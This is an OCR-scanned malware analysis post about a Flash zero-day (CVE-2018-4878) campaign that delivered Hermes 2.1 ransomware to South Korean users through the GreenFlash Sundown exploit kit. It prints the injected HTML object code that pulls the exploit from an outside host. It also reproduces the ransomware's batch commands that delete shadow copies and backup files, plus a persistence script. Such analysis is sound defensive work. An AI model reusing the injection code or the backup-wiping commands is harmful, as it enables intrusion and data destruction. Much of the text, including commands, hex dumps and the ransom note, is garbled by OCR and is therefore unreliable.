Hermes ransomware distributed to South
Koreans via recent Flash zero-day
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At the end of January, the South Korean Emergency Response Team (KrCERT) published
news of a Flash Player zero-day used in targeted attacks. The flaw, which exists in Flash Player
28.0.0.137 and below, was distributed via malicious Office documents containing the embedded
Flash exploit. Only a couple of weeks after the public announcement, spam campaigns were
already beginning to pump out malicious Word documents containing the newly available
exploit.

While spam has been an active distribution channel for some time now, the news of a Flash
exploit would most certainly interest exploit kit authors as well. Indeed, in our previous blog post
about this vulnerability (CVE-2018-4878), we showed how trivial it was to use an already
available Proof-of-Concept and package it as as a drive-by download instead.
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On March 9th, MDNC discovered that a less common, but more sophisticated exploit kit called
GreenFlash Sundown had started to use this recent Flash zero-day to distribute the Hermes
ransomware. This payload was formerly used as part of an attack on a Taiwanese bank and
suspected to be the work of a North Korean hacking group. According to some reports, it may
be a decoy attack and “pseudo-ransomware®.

By checking on the indicators published by MDNC, we were able to identify this campaign within
our telemetry and noticed that all exploit attempts were made against South Korean users.
Based on our records, the first hit happened on February 27, 2018, (01:54 UTC) via a
compromised Korean website.

—-<span style="left: (IINER; top: HIEER width: BEE; height: BEll; position: absolute;">
- <object width=-NEERheicht=-0E c]assid="TEEEEGEGEE—
<param name="movie" alue{"http‘,‘rbanne'ssale.ccrr:anirratic:nsepcp.asp"}>
<param name="play" value="true"/>
<param name="allowscriptaccess" value="always"/>

Call to GreenFlash Sundown

=}-<object width- height-Slllll data="http://bannerssale.com/animations/pop.asp" type="application/x-shockwave-flash">
. = ://bannerssale.com/animations/pop.asp"/>
<param name="play" \ "true”/>

<param name="allowscriptaccess" value="always"/>

We replayed this attack in our lab and spent a fair amount of time looking for redirection code
within the JavaScript libraries part of the self hosted OpenX server. Instead, we found that it was
hiding in the main page’s source code.

We had already pinpointed where the redirection was happening by checking the DOM on the
live page, but we also confirmed it by decoding the large malicious blurb that went through
Base64 and RC4 encoding (we would like to thank David Ledbetter for that).

Hermes ransomware
The payload from this attack is Hermes ransomware, version 2.1.
Behavioral analysis

The ransomware copies itself into % TEMP% under the name svchosta.exe and redeploys itself
from that location. The initial sample is then deleted.

-|Users|h|tester ¥ AppData » Local » Temp

Mew folder
Mame Date modified Type Size
|| FXSAPIDebuglogFiletd 2015-06-18 22:27 Text Docurnent O KE

[m svchosta.exe 2018-03-12 20:00 Application 45 KB |
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The ransomware is not particularly stealthy—some windows pop up during its run. For example,
we are asked to run a batch script with administrator privileges:

! User Account Contral

Do you want to allow the following program to make

~# changes to this computer?

Program name:  Windows Cormmand Processor
Verified publisher: Microsoft Windows

Program location: "CAWindows\ SysWOWE\ crmd.exe” /C
"ChusershPublichwindow bat”
Show information about this publisher's certificate

(~) Hide details Yes || No |

Change when these notifications appear

The authors didn’t bother to deploy any UAC bypass technique, relying only on social
engineering for this. The pop-up is deployed in a loop, and by this way it tries to force the user
into accepting it. But even if we don'’t let the batch script be deployed, the main executable
proceeds with encryption.

The batch script is responsible for removing the shadow copies and other possible backups:

=] window bat E3 ]

vssadmin Delete Shadows fall fquiet

2  wssa n resize shadowstorage ffor=c: /on=c:!: /maxsize=401ME
3 vssadmin resize shadowstorage /for=c: /fon=c: /maxsize=unbounded
4 vwvssadmin resize shadowstorage ffor=d: /on=d: /maxsize=401ME
5  wvssad resize shadowstorage /for=d: /on=d: /maxsize=unbounded
6 wssad resize shadowstorage /for=e: fon=e: /maxsize=401ME
7  wssad resize shadowstorage /for=e: fon=e: /maxsize=unbounded
8 wssad resize shadowstorage /for=f: fon=f: /maxsize=401MB
8 vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

resize shadowstorage /for=g: /on=g: /maxsize=401ME
resize shadowstorage /for=g: /fon=g: /maxsize=unbounded
resize shadowstorage /for=h: /on=h: /maxsize=401MB

n resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /fall /quiet

vssad
vssad
vssad
vssad

ETI  E E

del /3 /f /g c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
& del /s /f /g d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup¥.* d:\%.zet d:\*.win d:\*.dsk
7 del /s /f /g e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\¥.bkf e:\Backup¥.* e:\backup*.* e:\¥*.set e:\*. winfe:\* dsk
8 del /s /f /g £:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\¥.bkf f:\Backup¥.* f:\backup*.* f:\%*.set f:\*.win Eihkidsk
9 del /s /f /g g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\¥.bkf g:\Backup¥.* g:\backup*.* g:\*.set g:\*.win g:\¥. dsk
0 del /s /f /g h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup¥.* h:\backup*.* h:\¥*.set h:\*.win{h:\*.dsk

del %0

It is dropped inside C:\Users\Public along with some other files:



v Local Disk () » Users » Public » v|ﬂ-|| Search Public

Share with = Mew folder a i
Mame Date modified Type Size
' B} DECRYPT_INFORMATION. html 2018-03-1303:38  Firefox HTML Doc... 7 KB
desktop.ini 2009-07-14 0&:54 Configuration sett... 1 KE
|| PUBLIC 2018-03-13 03:38 File i KE|
| | UMIQUE_ID_DO_MOT_REMOVE 2018-03-13 03:38 File 2 k|
! window.bat 2018-03-13 03:38 Windows Batch File 2kB |

The file “PUBLIC” contains a blob with RSA public key. It is worth noting that this key is unique
on each run, so, the RSA key pair is generated per victim. Example:

H PUBLIC

Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

ooooocco |6 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00 Li....®..RSAl....
00000010 01 00 01 00 89 73 AE 3F Bl 4C 89 B8 53 40 19 C1 ....%s®?+L%,S@.A
00000020 72 80 8D FB SE CC F6 97 2E D8 70 16 2F F7 C1 B2 refi~Ea—.Bp./z4,
00000030 6E €4 B8 05 6F 71 16 B8 8F 22 A9 10 09 F1 21 28 nd,.oq.,2"@..A! |
00000040 9D 12 DC 13 72 C5 AB 98 CF DE EB FBE 9B OC 8D 84 ¢.0.rl«.0Ted».T.
00000050 FA 99 BD D2 OF B2 01 29 FA 03 B7 BA A8 C4 29 73 u™N., .}d.-s"A)s
00000060 D4 1E &4 77 6F 41 8D 6B 90 55 4C 96 74 A9 AD 0A O.dwoafk.UL-te..
00000070 51 E6 SF 08 3E 23 OE 69 29 €D FD AE &3 92 91 88 Q¢&z.>#.i)my@c’*.
00000080 74 05 66 A6 €4 OB 9C C3 09 5C D8 F9 79 7E C5 9E <t.f!d.sk.\Ray-Lz
00000090 41 50 50 31 10 92 63 B4 57 1C B2 FO Bl €E 8A B2 APP1.3c'W. dinf,
000000A0 2B 41 S5A CE 93 17 58 21 D7 D7 9B 58 96 38 DO 28 +AZI™.X!=xx>X-8B(
000000BO 04 25 DF 00 85 30 4A 19 75 BD 91 15 5B E2 76 2F .%8..0J.u"".[4dv/
000000C0 95 F2 88 41 OE 2A B9 77 23 CD C4 9F 8E 62 4E AB -fi.A.*aw#iAzZbN«
000000D0 E1 BO 25 34 C8 3C 64 A2 3B 7B FF A5 61 2E E8 AB 4°34C<dis{ Rade«
000D0OEQD 62 25 CO 95 4E C1 F2 4A 6E 86 SE 83 B4 51 48 EE bi:R-NAAdnf: . QHI
000D0OF0 F3 OC Bl 2D 27 €9 B7 04 C9 D2 06 DC OA 78 12 E7 4.+-'i-.EN.U.x.¢
00000100 7C 83 25 B5 OB DF 98 FB D8 51 76 EB 1D C8 BD 2F |.%u.8 @Rgve.d3%/
00000110 4D CE 9B C5 Mi»L

Another file is an encrypted block of data named UNIQUE_ID_DO_NOT_REMOVE. It is a blob
containing an encrypted private RSA key, unique for the victim:



& UNIQUE_ID_DO_NOT_REMOVE

Offset{d) 00 01 02 03 04 05 0& 07 08 09 10 11 12 13 14 15

00000000 ﬁﬂmnmm 66 29 485 E2 44 &1 80 1E .} FaJatE.

00000016 B4 DS 1B 2E 78 Z8 AS 88 18 72 1A 5C CO Al sEU }x(a LT AR
00000032 13 CD EE 56 C6 GE 60 40 C3 A& 2E 53 83 54 10 77 .I&vin-@i!.5.T.w
00000048 B8E 88 F6é OD FO CO 6A A6 77 FC E6 EB 78 16 AR 88 Z.5.dRj!wicex.5.
00000064 BD 56 28 CF 96 E7 OF 24 39 05 18 03 30 FF E2 09 “V({D-¢.%$9...04.
00000080 88 CC 3h 4A C1 10 24 FC F2 54 00 CB 63 30 BD c5  .E:J4.SaAT.Ceco L
00000096 FC 84 14 70 &4 40 E9 C5 E4 &1 94 BE 41 BC 93 24 i, .pd@&Lia”IAT™ S
00000112 58 57 6C 78 C4 2C B7 €D 76 TE 76 SF BO 2A 9E 34 XWlxh, mv~v °*Z4
00000128 AS & 38 8D 35 25 AA DB 0% E9 55 &4 46 01 BO E6 ®j8T5350.&UdF.°

00000144 &D 1B CE 7D 2E EF BC ED 25 CC 8L A3 60 96 24 E0 m.I}.dTizESe -4+
00000160 82 07 AE A8 OB SA 18 &F F2 22 12 &7 08 59 74 7D , @ A L
00000176 32 2C 82 D9 16 86 2F D9 3F CE 4E 15 46 E2 4D 26 2,,U.t/U?iN/FaMc
00000192 4C 1D C1 40 DE AE 97 C5 2D 4C &7 DD 28 1E 78 89 L. A@T@—L Lth xk
00000208 D5 CE 97 F6 C5 BD DD 5D 4A 59 FF DS 9B 6E 16 3F OI—6L-¥]JY Usn.?
00000224 &A 3D OE 50 05 D4 AD 06 27 CA 08 D1 OD F2 D3 86 J=.P.0..%WE.H.06+

Analyzing the blob header, we find the following information:

e 0x07 — PRIVATEKEYBLOB
e 0x02 -CUR_BLOB_VERSION: 2
e 0xA400 — ALG_ID: CALG_RSA_KEYX

The rest of the data is encrypted—at this moment, we can guess that it is encrypted by the RSA
public key of the attackers.

The same folder also contains a ransom note. When the encryption finished, the ransom note
pops up. The note is in HTML format, named DECRYPT_INFORMATION.html.
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L B8] B s sEOMWARE fr ok O

Langquage: ENDEFRITES

HERMES 2.1 RANSOMWARE

Your files has bean encrypted using RSA2048 algorithm with unique public-key stored on your PC.
There is only one way to get your files back: contact with us, pay, and get
Wi accept Bitcoin, and other cryptocurrencies, you can find exc hanl_]nr\_. an
You have unigue idkey (in 2 yellow frame), write it in letter when contact with us.
Also you can decrypt 1 file for test, its guarantee what we can dearypt your files.

IDKEY:

The interesting fact is that, depending on the campaign, in some of the samples the authors
used BitMessage to communicate with victims:

Contact information:

This method was used in the past by a few other authors, for example in Chimera ransomware,
and by the author of original Petya in his affiliate programs.

Encrypted files don’t have their names changed. Each file is encrypted with a new key—the
same plaintext produces various ciphertext. The entropy of the encrypted file is high, and no
patterns are visible. That suggests that some stream cipher or a cipher with chained blocks was
used. (The most commonly used in such cases is AES in CBC mode, but we can be sure only
after analyzing the code). Below, you can see a visualization of a BMP file before and after
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being encrypted by Hermes:

Inside each file, after the encrypted content, there is a “HERMES” marker, followed by another
blob:

Offset(h) 00 01 02 03 04 05 06 07 08 0% 0A OB OC OD OE OF

00022F50 10 ES 7B 94 86 29 C2 Al 8C 94 88 D6 7D FO 9B &7 .&{"t)}A 3~.01d>g
00022Fe0 AA AC 43 54 8D 8C 28 8B ES EBE EC 0C 00 87 53 19 $ﬂETT§B<EéE..#S.
00022F70 AC 42 05 AFE &6C 6D 4B 97 4D CB A6 3C 97 C6 8C ED —B.®1mEKME!<—({S5i
00022F80 23 17 61 C9 41 A7 52 66 32 9F AD BB 3F 43 52 80 #.a2EASZf2%.»?CRE
00022F90 27 26 C2 A3 4B C9 17 42 DF FF FF AC D9 65 06 BB 'GAEKE.BE "-Ue.»
00022FAD i o2 4n 45 53 0100200 06 10 &8 0000 00 & d
00022FEBO 0 FF BC 2F C5 64 FE:E7 41 1D CC DA BB 56 A

00022FCO Ir EE: 81 4F 8¢ 0B 8E Ef 47 00 51 G5 3E 0EE

00022FD0O A 209 3G BEAE R o ag 4G CR PR e T O G

00022FED 7 SS-FR 40 D2 40 11 1E A5 'ES CFE DO AR DE T

00022FF0 6 96 70 oC &) 31D 6B T8E3 AD 10 93 &1 E

00023000 B i B3 28 03-FS B B3 0C-F1 G OF -DiE 45 56 8

00023010 a8 O A9 EC 88T C R el 24 T A3 R 83 0

00023020 £ 3C CC &0 44 AR SF C7 B4 2B 6D 4D Cs 06 B

00023030 Iy 4E:. I3 1%a) G5 89 E1 8C A8 8C 53 FR DE: B

00023040 2 Ge 6F Eb 3B E& EI1 8E CB 20 72 2F 03 07 F

00023050 8 oF 2F SO} 0C 8% oY 15 80 .28 SFE 8E: 80 EE: 32

00023060 0 Ag 13 01 D3 75 5C DO GO 4E: AF 38/ 8B 50.°B

Q0023070 L e b 0 gt S e R O e £l L e N e R | R S LR

00023080 £l Ege 2B 22 27 BD OF 61 D3 AL EC 4E AA 56 D

00023080 57081 51 &0 A2 95 53 6D -EEF 006 €4 &F 55 -1

00023040 84 5B 28 23 SE 238 AF &] 3E-F6 CB 25 49 3

00023080

This time the blob contains an exported session key (0x01 : SIMPLEBLOB) and the algorithm
identifier is AES (0x6611: CALG_AES). We can make an educated guess that it is the AES key
for the file, encrypted by the victim’s RSA key (from the generated pair).
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The ransomware achieves persistence by dropping a batch script in the Startup folder:

k| Windows » Start Menu » Programs » Startup - | 4 | Search Startup
Share with = Print Mew folder o
Mame . Date modified Type Size
desktop.ini 2017-09-03 13:3 Configuration sett... 1KE
] start.bat 2018-03-13 03:38 Windows Batch File 1KB

The script is simple; its role is just to deploy the dropped ransomware: svchosta.exe.

[=] start bat E3

1 start "" %TEMF%\svchosta.exe

So, on each system startup it will make a check for new, unencrypted files and try to encrypt
them. That’'s why, as soon as one discovers that they have been attacked by this ransomware,
they should remove the persistence entry in order to not let the attack repeat itself.

Inside the ransomware
Execution flow
At the beginning of the execution, the ransomware creates a mutex named “tech”:

BB4B833ES huéh offset aCreatemutexa ; "CreateMutexa”
BB4833EA push dword 48BFER
Be4a33Fe call sub_ 4@8254F

Ba4833F5 pop ecx
BB4833Fe pop ecx
BE4B33F7 push aoffset aTech : "hech'

BB4833FC push 1
BBAB33IFE push e

88483488 mov dword_48C883, eax
PB483485 call eax 3 kernel32.CreateMutexd
Be483487 mov edi, dword 48BFER

Be4a3480 push offset aReleasemutex ; "ReleaseMutex”
2884683412 push edi

Be483413 mov [ebptvar €], eax

88483416 call sub_48284F

The sample is mildly obfuscated, for example, its imports are loaded at runtime. The .data
section of the PE file is also decrypted during the execution, so, at first we will not see the
typical strings.






